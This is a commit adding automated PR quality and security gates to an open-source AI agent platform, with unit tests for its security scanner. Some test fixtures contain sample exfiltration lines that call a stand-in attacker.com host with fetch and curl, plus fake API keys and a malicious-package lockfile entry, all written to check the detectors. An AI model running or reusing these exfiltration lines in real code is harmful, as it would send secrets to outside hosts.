feat(commitperclip): add automated PR quality and security gates (#6469)

Fixes #6470 ## Thinking Path > - Paperclip is an open-source AI agent platform receiving a high volume of community PRs — currently 2,398 open > - The contributor experience is broken: PRs sit for months with no feedback, contributors don't know why they're stuck, and maintainers spend review time on PRs that are missing basics > - Common problems: no linked issue, no test coverage, incomplete PR template, manually-edited lockfile — all catchable before human review > - At the same time, accepting untrusted PRs from unknown contributors is a real attack surface: malicious packages, secret injection, tampering with CI scripts, and code touching the sensitive paths from the April security advisories > - This PR adds automated gates that run on every PR: quality failures get a clear comment telling contributors exactly what to fix, security concerns are silently flagged as draft advisories and block merge via a pending check run > - The benefit is a dramatically faster feedback loop for good-faith contributors and a meaningful security layer for the maintainers reviewing them ## What Changed - **`.github/workflows/commitperclip-review.yml`** — new workflow using `pull_request_target` (runs in base branch context, has secrets, never executes PR code). Runs quality gates + security gates on every PR open/update. - **`.github/dependabot.yml`** — weekly automated dependency vulnerability PRs for npm and GitHub Actions. - **`.github/scripts/get-bot-token.mjs`** — generates a short-lived commitperclip installation token from `COMMITPERCLIP_KEY` secret. - **`.github/scripts/run-quality-gates.mjs`** — orchestrates 5 quality gates, posts/updates a single consolidated comment on the PR. - **`.github/scripts/check-pr-template.mjs`** — validates all 5 required template sections, Thinking Path depth (≥3 sentences), Model Used not placeholder. - **`.github/scripts/check-pr-linked-issue.mjs`** — requires `Fixes #NNN` or issue URL in PR body. - **`.github/scripts/check-pr-test-coverage.mjs`** — requires at least one test file in the diff. - **`.github/scripts/check-pr-lockfile.mjs`** — blocks manual `pnpm-lock.yaml` edits (only the refresh bot may change it). - **`.github/scripts/check-pr-dependencies.mjs`** — informational comment when new npm packages are added. - **`.github/scripts/check-pr-security.mjs`** — 6 silent security checks: secret patterns, CI workflow tampering, build script changes, supply chain (new packages in lockfile), suspicious test patterns (outbound network/shell exec/env var reads), and changes to the 9 sensitive path prefixes from the April advisories. When any fire: creates a draft security advisory + sets `security-review` check to `in_progress` (blocks merge). When clean: sets `security-review` to `success`. - **`actions/dependency-review-action@v4`** — per-PR dependency vulnerability check (fails if new dep has known CVE). - **44 unit tests** across all gate modules (`node:test`, no external deps). ## Verification Run all unit tests locally: ```bash node --test .github/scripts/tests/*.test.mjs ``` Expected: 44 pass, 0 fail. End-to-end: open a PR missing the template, linked issue, and test files → commitperclip posts a consolidated comment listing all failures. Open a PR with all gates satisfied → `✅ All checks passing` comment posted, all check runs green. ## Risks **`pull_request_target` security model:** This workflow runs in base branch context and has access to secrets. It explicitly checks out `ref: master` (never PR code) and reads the PR diff via GitHub API only — no PR code is ever executed. This is the correct pattern for running secret-bearing checks on fork PRs; deviating from it (e.g. checking out the PR branch) would be a security vulnerability. **False positives on security gates:** The sensitive-path gate flags any PR touching the 9 path prefixes from the April advisories. Legitimate fixes to those paths will trigger draft advisories. This is intentional — those paths warrant a human look regardless. The `security-review` check can be manually resolved by a maintainer once reviewed. **commitperclip not yet installed:** Until the app is installed on this repo and the `COMMITPERCLIP_KEY` secret is added, the workflow will fail on the token generation step. The quality gate comment won't post, but Dependency Review will still run independently. ## Model Used Claude Sonnet 4.5, 200k context window, extended thinking enabled, tool use: read/edit files, bash execution, GitHub API calls ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have run tests locally and they pass (44/44) - [x] I have added or updated tests where applicable (44 unit tests across all gate modules) - [ ] If this change affects the UI, I have included before/after screenshots (N/A — CI only) - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] I will address all Greptile and reviewer comments before requesting merge --- ## One-time setup needed from you, Dotta 1. **Install commitperclip app** on this repo: https://github.com/apps/commitperclip/installations/new 2. **Add `COMMITPERCLIP_KEY`** as a repository secret (Actions → Secrets) — ask @brandonburr for the key 3. **Add `security_advisories: write` and `checks: write`** to the commitperclip app permissions (commit-capital org → Settings → Apps → commitperclip → Permissions) 4. **Install Socket.dev** from GitHub Marketplace for supply chain scanning 5. **Branch protection** (optional but recommended): require `commitperclip-review` and `security-review` checks to pass before merge ## Dashboard integration note The `commitperclip-review` check run result maps cleanly to your PR triage dashboard. A single filter on your Worker: ```javascript const gatesCheck = checkRuns.find(r => r.name === 'commitperclip-review'); if (gatesCheck?.conclusion === 'failure') return null; // filter from queue ``` For security flags: `GET /repos/paperclipai/paperclip/security-advisories?state=draft` — advisory titles include `PR #NNN` for cross-referencing. PRs with a matching draft advisory have `security-review` in `in_progress` state (grey spinner, can't merge via branch protection). --------- Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com> Co-authored-by: Devin Foley <devin@devinfoley.com> Co-authored-by: Paperclip <noreply@paperclip.ing>
2026-06-14 01:50:39 +09:00 · 2026-06-01 10:52:53 -06:00 · 2026-06-01 10:52:53 -06:00 · 96feaa331a
commit 96feaa331a
parent 9f8636cf49
21 changed files with 1929 additions and 0 deletions
--- a/.github/scripts/tests/check-pr-security.test.mjs
+++ b/.github/scripts/tests/check-pr-security.test.mjs
@ -0,0 +1,316 @@
+import { test } from 'node:test';
+import assert from 'node:assert/strict';
+import {
+  buildAdvisoryPayload,
+  findExistingDraftAdvisory,
+  postSecurityCheckRun,
+  scanSecrets,
+  scanCITampering,
+  scanBuildScripts,
+  scanSupplyChain,
+  scanTestPatterns,
+  scanSensitivePaths,
+  syncDraftAdvisory,
+  validateSensitivePaths,
+} from '../check-pr-security.mjs';
+
+// ── scanSecrets ──────────────────────────────────────────────────────────────
+
+test('scanSecrets: flags OpenAI key in added line', () => {
+  const files = [{ filename: 'src/config.ts', patch: '+const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
+  assert.ok(scanSecrets(files).length > 0);
+});
+
+test('scanSecrets: flags AWS key in added line', () => {
+  const files = [{ filename: 'src/config.ts', patch: '+const awsKey = "AKIAIOSFODNN7EXAMPLE"' }];
+  assert.ok(scanSecrets(files).length > 0);
+});
+
+test('scanSecrets: ignores removed lines', () => {
+  const files = [{ filename: 'src/config.ts', patch: '-const key = "sk-abcdefghijklmnopqrstuvwxyz123456"' }];
+  assert.equal(scanSecrets(files).length, 0);
+});
+
+test('scanSecrets: ignores files without patch', () => {
+  assert.equal(scanSecrets([{ filename: 'large-file.ts' }]).length, 0);
+});
+
+// ── scanCITampering ──────────────────────────────────────────────────────────
+
+test('scanCITampering: flags workflow file changes', () => {
+  const files = [{ filename: '.github/workflows/pr.yml', status: 'modified' }];
+  assert.ok(scanCITampering(files).length > 0);
+});
+
+test('scanCITampering: ignores non-workflow files', () => {
+  const files = [{ filename: 'src/foo.ts', status: 'modified' }];
+  assert.equal(scanCITampering(files).length, 0);
+});
+
+test('scanCITampering: ignores removed workflow files', () => {
+  const files = [{ filename: '.github/workflows/old.yml', status: 'removed' }];
+  assert.equal(scanCITampering(files).length, 0);
+});
+
+// ── scanBuildScripts ─────────────────────────────────────────────────────────
+
+test('scanBuildScripts: flags changes to release.sh', () => {
+  const files = [{ filename: 'scripts/release.sh', status: 'modified' }];
+  assert.ok(scanBuildScripts(files).length > 0);
+});
+
+test('scanBuildScripts: ignores non-CI scripts', () => {
+  const files = [{ filename: 'scripts/generate-org-chart-images.ts', status: 'modified' }];
+  assert.equal(scanBuildScripts(files).length, 0);
+});
+
+// ── scanSupplyChain ──────────────────────────────────────────────────────────
+
+test('scanSupplyChain: flags net-new packages in lockfile', () => {
+  const patch = `@@ -1,3 +1,4 @@
+ packages:
+  'evil-package@1.0.0':
+   'existing-package@2.0.0':
+-  'old-package@1.0.0':
+`;
+  const files = [{ filename: 'pnpm-lock.yaml', patch }];
+  const flags = scanSupplyChain(files);
+  assert.ok(flags.length > 0);
+  assert.ok(flags[0].packages.includes('evil-package'));
+});
+
+test('scanSupplyChain: does not flag version-only bumps', () => {
+  const patch = `@@ -1,3 +1,3 @@
+ packages:
+-  'existing-package@1.0.0':
+  'existing-package@2.0.0':
+`;
+  const files = [{ filename: 'pnpm-lock.yaml', patch }];
+  assert.equal(scanSupplyChain(files).length, 0);
+});
+
+test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
+  const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0:
+ existing-package@2.0.0:
+`;
+  const files = [{ filename: 'pnpm-lock.yaml', patch }];
+  const flags = scanSupplyChain(files);
+  assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
+});
+
+test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
+  const patch = `@@ -1,2 +1,2 @@
+-@scope/pkg@1.0.0(react@18.2.0):
+@scope/pkg@2.0.0(react@18.2.0):
+`;
+  const files = [{ filename: 'pnpm-lock.yaml', patch }];
+  assert.equal(scanSupplyChain(files).length, 0);
+});
+
+test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
+  const patch = `@@ -1,2 +1,3 @@
+evil-package@1.0.0(react@18.2.0):
+ existing-package@2.0.0:
+`;
+  const files = [{ filename: 'pnpm-lock.yaml', patch }];
+  const flags = scanSupplyChain(files);
+  assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
+});
+
+test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
+  const calls = [];
+  const fakeFetch = async (path) => {
+    calls.push(path);
+    if (/[?&]page=1(?:&|$)/.test(path)) {
+      return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
+    }
+    if (/[?&]page=2(?:&|$)/.test(path)) {
+      return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
+    }
+    return [];
+  };
+
+  const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
+
+  assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
+  assert.equal(calls.length, 2);
+});
+
+test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
+  const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
+  const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
+  assert.equal(advisory, null);
+});
+
+test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
+  const calls = [];
+  const flags = [
+    { check: 'ci-tampering', file: '.github/workflows/pr.yml' },
+    { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
+  ];
+
+  await syncDraftAdvisory(async (path, token, options) => {
+    calls.push({ path, token, options });
+    if (path.includes('/security-advisories?state=draft')) {
+      return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
+    }
+    return { ok: true };
+  }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
+
+  assert.equal(calls.length, 2);
+  assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
+  assert.equal(calls[1].options.method, 'PATCH');
+  assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
+});
+
+test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
+  const calls = [];
+  const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
+
+  await syncDraftAdvisory(async (path, token, options) => {
+    calls.push({ path, token, options });
+    if (path.includes('/security-advisories?state=draft')) {
+      return [];
+    }
+    return { ok: true };
+  }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
+
+  assert.equal(calls.length, 2);
+  assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
+  assert.equal(calls[1].options.method, 'POST');
+  assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
+});
+
+test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
+  const calls = [];
+
+  await postSecurityCheckRun(async (path, token, options) => {
+    calls.push({ path, token, options });
+    return { ok: true };
+  }, 'token', 'paperclipai/paperclip', 'deadbeef', true);
+
+  assert.equal(calls.length, 1);
+  assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
+  assert.equal(calls[0].options.method, 'POST');
+  assert.deepEqual(JSON.parse(calls[0].options.body), {
+    name: 'security-review',
+    head_sha: 'deadbeef',
+    status: 'in_progress',
+    output: {
+      title: 'Security Review Pending',
+      summary: 'This PR has been flagged for manual security review by a maintainer. No action needed from you.',
+    },
+  });
+});
+
+test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
+  const seenPaths = [];
+  const stale = await validateSensitivePaths(
+    'token',
+    'paperclipai/paperclip',
+    6469,
+    'release/1.2',
+    async (path) => {
+      seenPaths.push(path);
+      return { ok: true };
+    },
+  );
+
+  assert.deepEqual(stale, []);
+  assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
+  assert.ok(!seenPaths.some(path => path.includes('ref=master')));
+});
+
+test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
+  let seen404 = false;
+  const stale = await validateSensitivePaths(
+    'token',
+    'paperclipai/paperclip',
+    6469,
+    'main',
+    async (path) => {
+      if (!seen404) {
+        seen404 = true;
+        throw new Error('GitHub API GET /contents/foo → 404: missing');
+      }
+      return { ok: true };
+    },
+  );
+
+  assert.equal(stale.length, 1);
+
+  await assert.rejects(
+    validateSensitivePaths(
+      'token',
+      'paperclipai/paperclip',
+      6469,
+      'main',
+      async () => {
+        throw new Error('GitHub API GET /contents/foo → 500: boom');
+      },
+    ),
+    /500: boom/
+  );
+});
+
+// ── scanTestPatterns ─────────────────────────────────────────────────────────
+
+test('scanTestPatterns: flags outbound fetch in test file', () => {
+  const files = [{
+    filename: 'src/foo.test.ts',
+    patch: `+  const res = await fetch('https://attacker.com/collect')`,
+  }];
+  assert.ok(scanTestPatterns(files).length > 0);
+});
+
+test('scanTestPatterns: flags execSync in test file', () => {
+  const files = [{
+    filename: 'src/foo.test.ts',
+    patch: `+  execSync('curl https://attacker.com?data=' + secret)`,
+  }];
+  assert.ok(scanTestPatterns(files).length > 0);
+});
+
+test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
+  const files = [{
+    filename: 'src/api.ts',
+    patch: `+  const res = await fetch('https://api.example.com')`,
+  }];
+  assert.equal(scanTestPatterns(files).length, 0);
+});
+
+test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
+  const files = [{
+    filename: 'src/__tests__/foo.ts',
+    patch: `+  execSync('curl https://attacker.com?data=' + secret)`,
+  }];
+  assert.ok(scanTestPatterns(files).length > 0);
+});
+
+// ── scanSensitivePaths ───────────────────────────────────────────────────────
+
+test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
+  const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
+  assert.ok(scanSensitivePaths(files).length > 0);
+});
+
+test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
+  const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
+  assert.ok(scanSensitivePaths(files).length > 0);
+});
+
+test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
+  const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
+  assert.ok(scanSensitivePaths(files).length > 0);
+});
+
+test('scanSensitivePaths: ignores unrelated paths', () => {
+  const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
+  assert.equal(scanSensitivePaths(files).length, 0);
+});
+
+test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
+  const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
+  assert.equal(scanSensitivePaths(files).length, 0);
+});